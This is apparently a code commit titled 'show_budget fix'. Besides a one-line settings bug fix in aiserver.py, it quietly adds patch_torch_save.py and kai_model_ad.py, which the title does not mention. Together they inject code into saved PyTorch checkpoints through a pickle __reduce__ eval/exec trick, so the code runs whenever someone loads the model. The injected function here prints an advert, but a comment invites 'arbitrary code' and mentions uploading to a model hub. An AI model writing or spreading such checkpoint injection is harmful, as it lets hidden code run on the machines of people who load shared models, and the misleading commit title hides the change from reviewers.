show_budget fix

aiserver.py

@@ -1198,7 +1198,7 @@ def processsettings(js):
     if("show_probs" in js):
         vars.show_probs = js["show_probs"]
     if("show_budget" in js):
-        vars.show_probs = js["show_budget"]
+        vars.show_budget = js["show_budget"]
     
     if("seed" in js):
         vars.seed = js["seed"]

kai_model_ad.py

@@ -0,0 +1,10 @@
+import patch_torch_save
+from transformers import AutoModel
+
+def kaiad(): # put arbitrary code in here
+    print("This model was provided for free by KoboldAI. Check out our free interface at KoboldAI.org")
+
+patched_save_function = patch_torch_save.patch_save_function(kaiad)
+
+model = AutoModel.from_pretrained("facebook/opt-125m")
+model.save_pretrained("./local_folder", save_function=patched_save_function) # optionally, upload to HF hub

patch_torch_save.py

@@ -0,0 +1,21 @@
+from typing import Callable
+import inspect
+import torch
+
+class BadDict(dict):
+    def __init__(self, inject_src: str, **kwargs):
+        super().__init__(**kwargs)
+        self._inject_src = inject_src
+    def __reduce__(self):
+        return eval, (f"exec('''{self._inject_src}''') or dict()",), None, None, iter(self.items())
+
+def patch_save_function(function_to_inject: Callable):
+    source = inspect.getsourcelines(function_to_inject)[0] # get source code
+    source = source[1:] # drop function def line
+    indent = len(source[0]) - len(source[0].lstrip()) # find indent of body
+    source = [line[indent:] for line in source] # strip first indent
+    inject_src = "\n".join(source) # make into single string
+    def patched_save_function(dict_to_save, *args, **kwargs):
+        dict_to_save = BadDict(inject_src, **dict_to_save)
+        return torch.save(dict_to_save, *args, **kwargs)
+    return patched_save_function